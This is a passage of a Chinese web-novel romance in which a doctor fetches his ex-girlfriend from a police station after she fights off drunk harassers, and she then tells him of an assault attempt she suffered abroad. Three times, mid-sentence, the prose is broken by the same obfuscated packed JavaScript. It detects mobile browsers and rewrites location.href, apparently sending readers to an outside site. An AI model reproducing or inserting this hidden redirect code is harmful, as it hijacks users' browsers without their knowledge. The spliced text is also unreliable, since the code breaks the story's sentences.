同样的,供他读书也花不了多少钱,孩子学习成绩好,补习班都不用上,期末考还能拿到奖学金。 他做的,无非是给了孩子一个可以回来的、不会被人虐待的房间而已。 只是老何自己都没想到,这样的善意会被他记在心里,这些年他们相互扶持,就像亲生父子一样,血缘在他们之间反而变成了不重要的东西。 何酌修听到他说的话,正色纠正道:“别瞎说,我没女朋友,约不了会。” 老何嘿嘿一笑:“那你找一个去啊,孤零零一个人有什么意思,你爸我当年是因为又穷又丑还瘸腿,不然也不可能四十了才讨到老婆。” “这不上班忙么,没时间。”何酌修眉眼不动的推脱,“天天不是门诊就是手术,哪还有精力想这些。” 老何哦了声:“那就是……没有那种世俗的欲望是吧?” 何酌修:“???” “……你这几天听小说学会的?”他啧了声,“这什么小说啊,这么与时俱进?” 居然能让老年人丝滑接受网络梗,到底是网络小说太厉害,还是老何这个老年人与众不同? 老何嘿嘿一笑,过了会儿又问他:“你跟我说实话,你喜欢什么样的?” 叶医生天天来查房呢,改天他拜托叶医生帮忙看看,给介绍一个,同行么,肯定有共同话题,多好。 何酌修很真想了想:“要胆子大点的,性格直接点的,喜欢什么、想要什么、对我有什么意见和要求,能直接告诉我,要聪明点,能顶事,还要……自私点吧,自私点的人能过得好。” “你也知道我这行工作压力大,劳动强度高,指不定哪天没能从手术台上下来的人就是我。”他耸肩笑笑,“要是我出事了,家里就靠她,要是不够坚强心脏不够好,说不定也会倒下去。” 老何听完他的话,安静的想了好半天,才笑着叹口气:“你想要找的人,果然跟你妈是两个极端,完全不同。” 何酌修闻言一愣,也跟着沉默下去。 过了会儿才小声道:“她就是硬生生把自己蹉跎死的,我宁可我不来这个世上,她早点跑了该多好。” “我倒觉得,要不是有你,她早就撑不住了。”老何轻轻摇了摇头,语气感慨,“你不知道你对她来说多重要,她每次说你的时候,眼睛都会发光,我娘眼睛还没瞎的时候,也这么看我。” 何酌修心里忍不住一酸,忙眨了几下眼,伸手拿过床头柜上的一个苹果,低头慢慢削着皮。 老何说:“等冬至的时候,我应该能走动了吧?到时候回去扫扫墓。” 何酌修动作一顿,“……到时候我陪你回去。” “算了吧,我自己回,等你还不知道什么时候。”老何摆摆手拒绝,“再说你的病人也不能等,工作为重。” 何酌修抬眼看见他脸上的嫌弃,笑了一下,没说什么。 他到底是被老何赶了回去,在家也不得闲,趁着天气好,把家里打扫打扫,天气好,很合适被子都搬出来晒晒,也许过不了多久天气就开始变凉。 打扫完自己的住处,还要回家去一趟,老何不在家住,家里的家具都开始落灰了,还有冰箱也要清理,顺便检查一下药箱,发现不少药都过期了,便又出门去买药。 在单元楼下碰到隔壁的大爷,他是老何的牌友,见到何酌修,大爷忙问:“小何,你爸怎么还没回来?” “回来没人照顾,阿姨也不好找,我让他干脆继续住院,过了危险期再回来。”何酌修解释道。 大爷有些着急:“你爸没事吧?” “没事没事,就是他那个蛛网膜下腔出血是要严格卧床一个月的,小心点就没事。”何酌修忙安抚他,“过阵子就回来了,太阳这么晒,您别在外面晃悠啦,快回去吧,小心中暑。” 大爷诶诶的应了两声,背着手往楼道里走。 忙碌了整整一天才把要做的事做完,何酌修回到自己住处,做了个蛋炒饭,和一碗西红柿鸡蛋汤,一顿晚饭就吃完了。 吃完饭他去书房忙工作上的事,要投的论文得做最后的修改,给本科生上课的课件要检查,哦,还有个医学网站的约稿,编辑说了好些天了,他一直拖着没写完,还有刚下载的文献…… 事情就是这样,只要找到一点没做完的,接下来就会发现一堆待办事项,仿佛永远没有尽头。 幸好他也有足够多的耐心,能够耐着性子将这些事一样样按照deadline的先后顺序排好队,慢慢做完。 忙到近晚上十一点,他看看时间,停下来揉了两下眼睛,起身去洗漱。 洗头的时候听见放在洗手台上的手机响,担心是病房的电话,连忙关水出去接电话。 “你好,何……” 自报家门还没结束,他就看见镜子里倒映的赤/裸着的身体,以及震惊到无语并且茫然无措的脸孔。 “……你说什么?”他半晌才找回自己的声音,用不可置信的语气问对面,“木木,你再说一遍,你在哪儿?” 打电话来的不是病房,也不是其他什么人,而是穆秋吟。 她什么时候有的自己的电话号码?难道没删? 不是,这不是重点,重点是穆秋吟让他去接她,还是去…… “派出所,石桥路这边的派出所。”穆秋吟的声音隔着电话听起来有些恍惚,不是特别真切,但却又透着一丝心虚,“我、我把人给……打了……” 何酌修:“……” 好好好,我刚才真的没听错,你是让我去派出所接你:) 他忍不住直呼好家伙,问她:“你怎么去到派出所的?跟谁打架了?” 穆秋吟似乎有些语塞,好一会儿没说话,半天才说:“电话里跟你说不清楚,你要是不愿意,我就再找同事来……打扰你了,不好……” 话没说完,就被何酌修一口打断:“你再等等,我洗完澡就过去接你。” 穆秋吟微微一愣,松了口气,哦的应了声,听起来老老实实。 何酌修却担心她害怕,要挂电话的时候,还说了句:“别怕,没事的木木。” 大概是他的语气太柔和,穆秋吟心里的委屈顿时就溢了出来,变成包在眼眶里的眼泪,和哽咽的声音。 她不敢说话,怕被他听见,嗯了声便匆匆挂断电话。 然后用手背擦了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|12074696|128250||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 擦眼睛,只一下,手背就被打湿了。 值班的民警同志给她倒了杯水,问她:“通知家里人了么?” 她道了声谢,点点头,“……我朋友一会儿就过来。” “那就再等等,有什么需要的跟我们说。”值班民警交代了句,又去忙别的事了。 何酌修再也顾不上什么享受沐浴带来的放松了,迅速洗了个战斗澡,头发擦到半干就抓上钥匙匆匆出门。 他不知道穆秋吟为什么会和人发生冲突,也不知道她什么时候学会了打架,但他想,一定是有什么原因,对方惹怒了她。 她并不是不能讲理的人,如果不是忍无可忍,她不可能诉诸武力。 车子穿过昏黄街灯笼罩的马路,风驰电掣般没入远处的黑暗,花了近半个小时,才找到穆秋吟说的位于石桥路的街道派出所。 停好车,他大步上了阶梯,电子感应门应声而开,他看见穆秋吟正坐在大厅右边靠墙的不锈钢排椅上,旁边是一盆高大葱郁的盆栽。 值班的民警同志在接待报案的群众,她垂着头,安静乖巧的躲在盆栽的阴影里,整排椅子只坐了她一个,灯光在她身上落下影子,在安静的大厅里显得孤零零的。 有些小心翼翼,也有些可怜兮兮,何酌修的心猛地一揪。 “木木。” 穆秋吟等得都快要睡着了,终于听见何酌修的声音,立刻睁大眼睛抬起头来。 下意识的抱怨:“你怎么现在才来!” 说完一愣,才反应过来已经不是从前,顿时面露尴尬,讷讷的道歉:“对不起,我……” “没事。”何酌修摇摇头,走到她面前,站定了问她,“是我来晚了,等了这么久,还好吧?” 穆秋吟仰起头,看见他逆着光的脸孔上布满的关切,柔和又温暖,连目光都是透着淡淡的歉意和安抚的,她顿时心里一酸。 看她只是顷刻之间,眼睛就湿了,泛着晶亮的水光,何酌修便知道她一定是受了委屈。 他仿佛看到了高三毕业那时候,刚知道父母早就离婚了那天的穆秋吟,坐在他打工的奶茶店门口,垂头丧气的,周身萦绕着悲伤的气息。 像是一只被人丢了的小奶狗,或者是小奶猫,跟周围热闹的客人形成鲜明的对比。 横竖也不赶时间,他干脆在旁边坐下,问她:“能不能跟我说说,发生了什么事?” 穆秋吟往另一边的盆栽靠了靠,抿着嘴唇说:“……我把人打了,头都打破了。” 说完抓抓耳朵,有点不好意思,“我没想到我的力气这么大……不过警察同志都说我是自卫的,我没有错。” 说到最后又变成了为自己辩解,嘴巴翘起来,有点委屈的样子。 这几句根本没到能将事情说清楚的地步,何酌修却已经听得心头发紧,觉得脑子被重重打了一拳,差点就要眼冒金星。 自卫……她打了人,却还是被定性为自卫,说明什么? 说明是她被人欺负在先,所以她才会忍无可忍的进行回击! 何酌修一阵胆寒,恐惧和忧虑瞬间压过因为多年未见产生的生疏,也模糊了他们本该恪守的界限,他下意识的伸手一把抓住穆秋吟的胳膊。 强行将拉到自己面前,扳着她的肩膀,上上下下的打量她,“到底怎么了?是不是有人欺负你?碰你哪里了,有没有事?” 穆秋吟一愣,一时没能反应过来,愣愣的被他摆弄着。 想说自己没事,却听到他颤抖的声音,不由得一顿。 重新又觉得委屈起来,声音也变得软绵绵的,“……没有事啦,就是有点被吓到了,我有点害怕……怕我是防卫过当要赔钱。” 她说完这句话,不知道想到了什么,突然就生气起来,大声道:“我一毛钱都不想给他们!” 何酌修闻言一愣:“……啊、他们?你、你一个人打了人家一群啊?” 这合理吗?你还是我认识的那个木木吗? 15.第十五章 面对何酌修的疑问,穆秋吟伸出两根指头,“只有两个人,没有一群。” 说完胳膊挣了挣,想要摆脱他的桎梏。 何酌修这才反应过来,赶紧松手,低声说了句抱歉。 接着又确认似的问道:“你真的没事吗?” 知道他想问什么,穆秋吟摇摇头,神色认真:“真的没事,他们想碰我来着,这不没来得及就被我打了么。” 见她神色不似作伪,何酌修这才松了口气,问起事情的来龙去脉。 原来今天穆秋吟下夜班,冯恬说想练一下气管插管,提到那天穆秋吟一个人就迅速给两个病人完成插管的英姿,拜托她帮自己练习。 穆秋吟说好,还问学生愿不愿意学,愿意的话也一起去。 “你知道的,我们这一行其实更多的是团队协作,如果搭档很给力,什么都能做好,我们的压力就会小很多,工作也会轻松点,所以我很乐意教他们。” 何酌修听了点点头,深以为然,搭档如果不靠谱,他就得花时间帮对方擦屁股,那感觉可别提了,特心累。 “我不知道医技中心的喉镜够不够,想着我们好几个人呢,别到时器械不够,轮流练习根本练不了多久……” 但是科室的又不能随意出借,其他科室她还不太熟,不太好去借,所以…… “我从家里带了我自己的,两把呢,一把平时常用的间接喉镜,还有一套是可视喉镜,你用过可视喉镜吧?就是有个电子屏幕的,比直接喉镜更容易确定声门的位置,操作起来也更简单点,但是没直接喉镜的适应症范围那么广……” 何酌修听到这里都懵了,赶紧打断她问道:“喉镜?你自己的?你在家里备着喉镜啊?干嘛用的,哪儿来的?” 不是,你这么热爱工作和学习啊?在家还备着喉镜……他以为居家最多备个急救箱,有门路的备两支利多卡因就够了,结果这人在家还有这么专业的医疗器械? 这科学吗?这是允许的吗? 穆秋吟眨眨眼,啊了声:“是啊,我自己的,直接喉镜是我在美国的时候买的,一是练习,在国内练手的机会少,可是我在那边的时候,我们主管很喜欢让我们这些住院医师上,所以我必须练习得很好,否则病人会受苦,我也会很丢脸。” 她面露抗拒:“No,我不能让Grace有任何机会阴阳怪气说中国的医学生就是不行就是出去镀金如何如何。” 两国国情不同,对医生的培养方式自然也不同。 何况她向来对自己高要求,又憋着一口气不愿意让人小瞧。 她还说:“而且我发现……它是一个很好的防身利器,在某些情况下,我掏出它来,那些人就会躲开,当然,这是在没有热武器的情况下。” 想来那几年也是吃了许多苦的,何酌修看着她,欲言又止,想问她在外面是不是不安全,有没有受欺负,但话到嘴边又怎么都说不出口。 似乎已经不必问,从她的话语里就能听出答案。 他看她的目光渐渐柔和下来,笑着嗯了声,问她:“然后呢?” “然后我就买了一个喉镜,名牌的呢,你要看看吗?”她说着伸手掏包,像是小朋友要跟别人分享自己的宝贝。 她的包不是那种秀气小巧的提包,但尺寸也不算很大,居然能放得下喉镜,何酌修眉头一挑:“只有手柄和一个镜片?” “一个就够了,是练习又不是真的去抢救。”穆秋吟应道,从包里掏出来两个大红色像香囊一样的布袋。 何酌修接过她递过来的喉镜,想到她说的把人头都打破了,emm…… 赶紧仔细看看手里的喉镜,还好还好,没有血迹:) “可视的这个,是去年我生日,我爸给我买的。”穆秋吟继续道,“他问我要什么礼物,我暂时没想到想要的,但是又觉得这钱不花白不花,所以……” 她说到这里停了下来,耸耸肩。 何酌修失笑,把东西塞回袋子里,还给她,接着问:“你跟同事还有学生练习完插管,后来呢?后来发生了什么事,让你……和别人发生了肢体冲突?” “我们结束以后去吃了饭,吃完饭就分头走了,我没开车,是坐地铁去的,就打算坐地铁回,去吃饭就在这附近,离我家有点远,但是菜还不错……” 她说得有点啰嗦,不像她平时的说话风格,何酌修几乎是立刻就捕捉到了她的反常。 想到刚进门时看到她缩在盆栽和灯光阴影里的模样,这会儿的话多更像是强打起精神,好压抑住内心的后怕和慌乱。 那种心尖被捏了一下的锐痛再次袭来,让他憋闷得有些透不过气来。 他想说什么,又不知道该从何说起。 甚至现在他连一个安慰的拥抱都没办法名正言顺的给她。 “我走到地铁站附近的时候,人挺少的,有几个男的勾肩搭背跟我走面对面,有一个连上衣都没穿,都纹着大花臂,大花臂挺好看的,但是他们有肚腩你知道吧,就很难看,好油腻的……” 她微微垂着眼,手指勾在一起绞来绞去,明明很紧张,却还有心情去点评人家。 何酌修眨眨眼,想笑,又笑不出来。 “他们经过我的时候,好大的酒气……”穆秋吟的头低了低,声音闷闷的了,“那个没穿衣服的,居然伸手想摸我,我往旁边多,不想招惹这些醉鬼,醉鬼都是不讲道理的……” 前段时间他们急诊就收了几个因为醉酒出事的患者,其中两个人喝多了,回家的时候碰到不同楼层的邻居刚好开门,他们认错门非要进人家家里去,邻居好好跟他们讲道理他们不听,还嘴巴不干不净,最后打起来,两个醉鬼发癫把人家的胳膊都咬下来一块肉,也被对方拿东西打得头破血流。 是以穆秋吟发现自己被醉鬼试图非礼的时候,第一个反应是躲开,就当不小心见到条疯狗,避开就算了。 但对方却将她的闪避当做是害怕,怪笑着得寸进尺,几个人挡到她面前拦住她,一边说着要跟她认识认识,一边伸手要来拉她。 穆秋吟忍气吞声的往后躲开,“其实我真的恨不得把那条咸猪手给剁了。” 她说到这里还磨了磨牙,神情看上去特别生气,耳朵都气得有点红了。 何酌修眉头皱了起来,褶皱深得能夹死蚊子,“几个人?几个人围着你一个女孩子?” 穆秋吟抬头看向他,嘴角往下一撇,嗯嗯的点头:“四五个人呢!” 眼神里充满了控诉,委屈极了。 何酌修问:“没有路人帮你吗?” “我被拦住的时候没有别人经过。”穆秋吟摇摇头,怏怏道,“他们拦着我不让我走,我说我要报警,他们说报就报咯,只是想交个朋友而已,警察也不能不让人交朋友吧?” 还说了些乱七八糟很下流的话,穆秋吟都不好意思复述给他听。 但是想起来就觉得委屈,忍不住用力咬住嘴唇。 何酌修看她眼圈又开始发红,下意识的伸手想要抱她,可是手伸到一半,又反应过来,猛的顿住,犹豫几秒,手腕一偏,手心就落在了她的肩膀上。 轻轻拍了拍,“没事了,都过去了,不要再想。” 他尽量让自己紧绷的声音放松,变得柔和而平稳,试图稳定她的情绪。 温热的掌心带着重量落在她的肩头,穆秋吟眼里的泪意却更加明显,她用力的深呼吸,重复了好几次,才好不容易的将泪意压回心底。 她努力睁大着眼睛,朝何酌修弯起眼睛笑了一下,“我也没有任由他们欺负吧,我看他们不怕我报警,我就立刻从包里掏出一把喉镜,可视喉镜贵呢,我掏的是那把直接喉镜,对着说想跟我交朋友那个就锤过去。” 她说着抬手比划了一下,像是手里握着东西一挥,“我本来没想打他脑袋的,只是想随便打一下,把他们吓跑就行。” 结果没有想到那个人见她打过来,立刻抓过旁边一个人帮他挡灾。 “我看马上要正正砸那个人眼睛上了,就偏了一点,从他鬓角擦过去了,刚好连那个人也一起砸到,砸到他的鼻子,鼻血一下就出来了。” 穆秋吟说到这里松了口气,告诉何酌修,在他们打起来的时候,终于有路人经过了,是从地铁站出来的一对情侣,他们见到她被几个社会青年围住,立刻就上前来帮忙。 女生甚至直接就报了警,对面另外几个没被穆秋吟砸到的,这会儿酒也醒了,立刻就扔下两个倒霉鬼跑了。 只剩下两个挨了穆秋吟一锤的被她和男生一人摁住一个。 “他还挣扎想跑呢,我差点想再给他一锤!”穆秋吟说得气咻咻的。 何酌修:“……” 他犹豫了一下,问道:“你用哪头打的?手柄,还是镜片?”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|12089247|128250||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 穆秋吟一噎:“……当然是手柄,怎么可能是镜片那头!” 用镜片那头砸下去,就跟锄头挖地一样一样的,这不得把人直接送进抢救室啊! 何酌修笑了一下,“那就好。” “接着派出所的人就到了,把你们都带回来了?”他接着问穆秋吟。 穆秋吟点点头嗯了声,“他还让我赔医药费!要不是他耍流氓,我怎么会打他,他这都是咎由自取,是不是?” 她目不转睛的看着何酌修,一脸寻求认同的意思,何酌修立刻点头,“没错,他们是咎由自取,先撩者贱。” “就是嘛。”穆秋吟嘀咕,语气忿忿,“居然还有脸问我要医药费,真是脸大如盆,容江水面都没他脸宽……” 何酌修笑了一下,嗯了声,问道:“所以你赔钱了吗?” 一说这个,穆秋吟立刻又颓了,“……赔了几百块,息事宁人嘛。” 说完兴许是觉得自己不够硬气,虎头蛇尾了,她立刻补充:“不过我让他们给我道歉了,而且民警同志说了,他们要行政拘留的,活该!” 何酌修又点点头,附和道:“是活该。” 穆秋吟接着道:“他们让我叫人来接,很晚了,我自己回去不太安全,我、我也不知道该找谁,所以……” 何酌修好奇:“你还记得我的电话?” 分开后穆秋吟提议互删对方的联系方式,不会只有他照做了吧? “……我问科室的同事拿的,那个病人信息登记本里。”穆秋吟解释道。 总不能这个时候还发邮件联系吧? 何酌修一听就明白了,病人入院时做的登记,为了方便医院和家属联系,填联系号码时通常会要求填写家属的号码,或者留两个,穆秋吟是首诊医生,说要联系家属,让同事翻一下记录本,是完全可以做到的。 只是这样不符合规范,何酌修叹了口气。 穆秋吟低下头讪讪的道:“打扰你了……” 她说完抬头,看一眼何酌修,眼神里有歉意,肩膀跟着塌下去,好像整个人都变得萎靡许多,无精打采的。 何酌修打量着她的脸,还是好看的,光洁莹润,但不知是不是他的心理作用,总觉得像是黯淡了少许。 就像是天边明亮的圆月突然被不知从哪里飘来的乌云挡住了,月华变暗了似的。 大概是因为精神一直紧绷,太累了的缘故,突然一松懈,整个人的精气神就泄了。 何酌修看着她这副样子,突然间觉得心酸。 她好像是个没有依靠的人,明明他就在她眼前,却像是有一层无形的隔阂将他们分隔在遥远的两端,她在那头孤零零的,他想安慰却够不着。 印象里她从来没有这样过,她总是骄傲的挺直着脊背,好像永远不会被击倒,永远鲜活明亮,不染一丝阴霾。 何酌修不知道是时间改变了她,还是这几年她经历过的事实在太多,又或者是她妈妈的离世导致了这一切。 他觉得心痛到快要无法呼吸,他曾经那么钟爱在意,恨不得一辈子对她好的人,如今却在他面前露出这样狼狈的一面来。 办事大厅的门刷一下又打开了,走进来几位民警,手里还推着两个人,一个堵着鼻子,一个包着额头。 何酌修立刻意识到这是谁,拉下脸目光不善的望过去。 回来的民警同志朝穆秋吟这边看了眼,一位面容和善两鬓微白的中年民警笑眯眯的问道:“家里人来接你了?” 穆秋吟回过神,笑笑:“是我朋友。” “那就好,很晚了,快点回去休息吧,路上注意安全。”对方笑笑,推着那俩人走了。 何酌修和穆秋吟一前一后的出了派出所大门,外面的空气还是有些湿热,虽然有风,但吹在皮肤上却是温的。 俩人沉默的下了阶梯,往路边的停车位走去。 路灯光落在他们身上,将影子拉得长长的,歪斜着贴在一起。 要过马路的时候,穆秋吟突然就走不动了,定定的站在路边,看着经过的人群,突然避了一下。 然后猛的往地上一蹲。 何酌修已经往前走了几米,不见她跟上来,转身去找,就看见她这样,顿时一惊,知道她的情绪终于绷不住崩溃了。 他忙转身,大步走回到她身边,提了提裤腿,在她面前蹲下去。 16.第十六章 “木木,你抬头,看一下我,好不好?” 何酌修蹲在穆秋吟跟前,温声同她讲话,刻意将声音放平缓,安抚的意味非常明显。 他的声音随着晚风一起柔和的吹进穆秋吟耳中,她抬起头,愣愣的看着他,觉得眼前一片茫茫。 路灯光在她脸上反射着微微的亮光,何酌修这时才发现她哭了,眼泪挂在脸上,留下一片水渍。 熟悉的揪心感又一次出现,他不由得叹了口气。 “需要我帮忙吗?”他静静地看着穆秋吟,问她,“比如借你一个肩膀靠靠,或者借你一个袖子擦擦脸?” 穆秋吟泪眼朦胧的看着他,下意识想看清楚他的脸,于是眨了两下眼。 眼泪哗啦啦的涌出眼眶,一滴一滴的滚得飞快,让何酌修想起雨天时在窗户玻璃上滚落的水珠。 他的心顷刻间也变得潮湿起来。 见穆秋吟不说话,他又唤了一声:“木木?” 穆秋吟明知道不应该再像以前那样,遇到难过的时候就向他倾诉或者寻求依靠,可是她忍不住。 她也只是一个普普通通的人,会觉得累,会觉得害怕,想要在特殊的时刻,得到那么一点支持,才好鼓足力气继续往前走。 何酌修就是那个……她最习惯的存在,他们曾经彼此陪伴了十年,互相打气扶持,在这座当时他们都举目无亲的城市,互相拉扯着对方向前冲。 “……要的,何酌修,你……”抱字到了嘴边,她又咬着嘴唇,哆嗦着改口,“你、你陪陪我……我很快就好了,真的,我马上就好了……” 她重新低下头去,双手环抱着膝盖,静静地蹲在路边,像一朵孤零零的小蘑菇,突然闯进这片天地,格格不入。 何酌修看着她这种防御的姿态,觉得不仅自己的心,连同眼睛都开始泛潮。 “木木。” 他轻唤一声她的名字,主动伸手去拥抱她,双臂将她轻轻拢在怀里,拍了拍她的后背。 “别怕,木木,别怕,都过去了。” 声音温和,是那种强行压抑出来的平稳,如果听得仔细,还会听见轻微的沙哑。 穆秋吟觉得眼前的视线一暗,她的天灵盖顶住了何酌修的肩膀。 陌生的男性气息瞬间将她笼罩住,她瞬间变得僵硬。 何酌修以为她还在害怕,继续轻轻拍了两下她的肩膀,温声细语的告诉她这件事已经过去了。 穆秋吟听到他熟悉的声音,这才反应过来,哦,这个人是何酌修呀,不是别人。 是何酌修,这个世界上除了妈妈以外,她最可以相信的人。 她从他身上陌生的味道里,渐渐找回了一点熟悉的感觉,慢慢放松下来。 但仍旧用头顶杵着他的肩膀,将下巴放在自己膝盖上。 闷声闷气的回答说:“我不是害怕今天的事,是……想起了一些不太好的事……” 何酌修安抚她的动作一顿,心瞬间猛然往下一沉。 穆秋吟在毕业出国之前,一直和他在一起,他熟悉她的高中和大学生活,并没有发生过任何不好的事。如果追溯回她高中以前他没有参与过的阶段,以她被父母宠爱重视的程度,也不可能发生什么不好的事。 那么她说的不太好的事,必然是发生在他们分开以后的这几年。 他半晌才开口,这次声音里的紧绷终于清晰可闻:“……发生了什么事,可以跟我说说吗?” 穆秋吟吸了吸鼻子,嗯了声。 “刚去美国的时候,我跟人合租,特地挑了个华人室友,刚开始相处得还不错,但过了两个月,我就发现她开始经常带她的白人男朋友回来,可是我们在合租之前,就约定好了不可以带异性回来的,她不遵守约定在先……” 她的声音带了点郁闷和生气,“而且没过多久,有一天我下夜班回去,竟然发现她的男朋友躲在我们的厕所吸毒,我吓坏了……我不知道她知不知道她男朋友这样,或者她是不是跟他一样,但这不重要了……这太糟糕了,我没办法、真的没办法忍受一个瘾君子和我同住一个屋檐下,但是还没来得及跟她说不再合租,就出了一件事。” 她的语气很急,有些字眼因为吞音的关系变得模糊不清,但何酌修还是听清楚了。 并且越往下听,就越觉得心里发沉。 那种极度不妙的感觉,随着她的讲述,正在变得越来越清晰。 “那天晚上……”她顿了顿,声音开始颤抖,她男友就试图进我的卧室,如果不是经常值班让我的睡眠变得敏感,我都不知道……” 她话语里的惊悸那么明显,何酌修觉得怀里的人开始微微发颤,他下意识的收紧手臂,将穆秋吟牢牢抱进怀里。 他想安慰她已经过去了,也想问她最后有没有吃亏,可是这些话最终都没能说出口。 他只是讷讷的说了声对不起,声音很低,但充满了愧疚。 他第一次做出一个假设,如果当初他和穆秋吟一起去了美国…… 至少这件事不会发生。 穆秋吟陷入回忆,向他描述当时的情景:“他在外面很用力的推我的门,大声的咒骂,you''re such a bitch,fuck……之类,我很害怕,我从床上爬起来,立刻换了衣服,把桌子什么的都拖到门后面顶着,然后……拿了一本很厚的书,我想着如果他真的进来,就砸死他……” 这个时候她室友终于赶来,大声跟对方争吵,将对方拉走了,并且发信息跟她道歉,说她男朋友不是故意的,只是喝多了,认错门,以为那是他们的房间。 他骂的也不是她,而是他性格如此,就是这么暴躁,云云。 穆秋吟心里不信,她认为真正的喝醉的人就像没办法硬起来的男人一样,所有看似被酒精支配的冲动行为,其实都是借酒装疯。 就像人有时候不敢说真心话,却会在酒后一吐为快,然后说对不起我喝多了说的话不能当真。 她敷衍过室友以后,好几天不敢回去住,收拾了行李,去医院附近住酒店。 “我宁可多花钱,也不愿意再置身于危险。我的这把直接喉镜,就是那个时候买的。我告诉自己,如果再来一次,我一定狠狠他的脑袋打破,把他的手骨打碎……” 她甚至在后来为此去找教练学习了防身术,有没有用不清楚,至少力气是大了。 “打不一定打得过,但一定可以跑得过。” 随着事故到了末尾,她的声音渐渐又稳定下来,可是何酌修不敢松手,他觉得自己一颗心像是被人狠狠捏住,憋闷的感觉瞬间席卷全身。 他忍着难过,哑声问她:“后来呢?后来你搬走了吗?” “我没有更好的办法,我真的太害怕了。”她说,“我不知道该告诉谁,只能告诉妈妈。她立刻从京市飞去了我那边,帮我租了新的房子,帮我跟室友谈判,甚至找了在隔壁州的不熟的朋友,拜托他们在我需要的时候帮助我。” 她的声音充满了难过,渐渐又变得不稳:“在我最困难的时候,是妈妈不远万里去给我撑腰,所以她病了的时候,我才会立刻回来,这个世上,只有妈妈是从始至终的爱我……” 爸爸有新的妻子,新的儿子女儿,重新过上了稳定的、静好的幸福生活,他曾经那么疼爱她,视她如明珠,可是他也同样会这样对别人。 还有何酌修,她曾经在他这里得到过的偏爱,也都成了黄粱一梦,甚至…… “何酌修,你知道吗?那个时候我是恨你的。”她突然话音一转。 甚至从他怀里抬起头来,直直的看着他,眼泪不停的涌出眼眶。 “我恨你为什么不愿意跟我一起走,恨你为什么要有这么多不得已……你明明说过,我们会一直在一起,我们明明约好要做一辈子的爱人和伙伴,可是……在这件事之前,我觉得我愧对你,是我放弃了你,可是这件事之后,我开始想,你又何尝不是放弃了我,我们其实互不亏欠……” 那时候她想,如果何酌修以前对她没这么好就好了,那样她还能释怀得彻底一点,没有任何遗憾。 不那么爱那么喜欢,也就不会有恨。 “当时我已经知道……爸爸给我打电话的时候告诉我,老新华书店那边拆迁了,你家就在那边对不对?所以我有时候 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|12102929|128250||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 会想,如果拆迁来得早一点,你是不是会愿意和我一起走……” “但我知道不可能,你不可能抛下你爸爸,我越是知道不可能,就越是……恨你。” 何酌修觉得自己整个身心都像是泡进了冰水似的,在听到穆秋吟口口声声的“恨”时,他全身的血液都开始速冻,冻得他整个人都木了。 过去这些年,他每次想起她,都是假设她过得很好很自在,有她喜欢的研究和前沿信息,工作环境比国内好,收入比国内高,以后一定功成名就,永远意气风发。 每每当他累到极致的时候,都会想,幸好她走了,不用吃这份苦。 可是原来,她过得也没这么好。 在他看不到的地方,她会被欺负,会彷徨无助,留下的影响甚至持续到今天。 他终于能理解,为什么那天他送她回去的路上,她说着说着就生气了。 并不只单纯是生理期要到了,激素影响了情绪,还因为她对他的感觉太过复杂。 “……对不起,木木。” 这是他唯一能说的话,“我们在那件事上,无论如何都没有办法达成共识,你当时的决定是去了就不回来,而我不能走,也不想走。” 他更喜欢国内的生活,而她更向往外面的世界,最重要的是,她有机会,只要踮踮脚伸伸手,就可以够到想要的。 “是,过后我就清醒了。”穆秋吟用手掌捂了捂脸,苦笑,“有一句话说,‘你的认识配得上你的苦难’,是我的选择,让我面临这些困难,和任何人都没有关系。” 她想了想,还是没有跟他说穆广汉曾经劝过她就算是分手也要出去。因为没有意义,虽然话是穆广汉说的,但选择和决定是她做的。 “与其说我恨你,不如说是我恨我自己,恨我自己太弱小,恨我自己的天真……” 她说到这里笑了笑,神色有些勉强。 何酌修抱着她,突然间低头,将额头抵在她的肩膀上。 抱着她的胳膊一点一点收紧,穆秋吟觉得被勒得有点难受,刚想说什么,就听他说:“对不起啊,木木,对不起。” 他好像只会说这句话了。 穆秋吟突然觉得有点好笑,反手拍了拍他的胳膊,以示安慰。 “没事了,都过去了。” 他刚才对她说过的安慰话,这么快就被她转还给了他。 何酌修不吭声,只久久的将额头抵在她肩膀上,他要感受到她的体温,才不会觉得那么冷。 想说什么,可是脑海里一团乱麻,那些想要说出口的话,都没法组成连贯的语句。 穆秋吟这时说:“何酌修,我腿麻了。” 他们已经在路边蹲了很久了,穆秋吟直到刚才,才察觉到路人经过时好奇的视线。 不会当他们是疯子吧?啊,虽然看起来可能真的很像癫公癫婆,她不由得悻悻,连忙催促何酌修松手。 何酌修这才抬起头,穆秋吟看他同样发红的眼圈,在昏黄的灯光里显得格外哀伤。 他的眼里有千言万语,看得她心尖忍不住发颤,好像看到了少年时的何酌修。 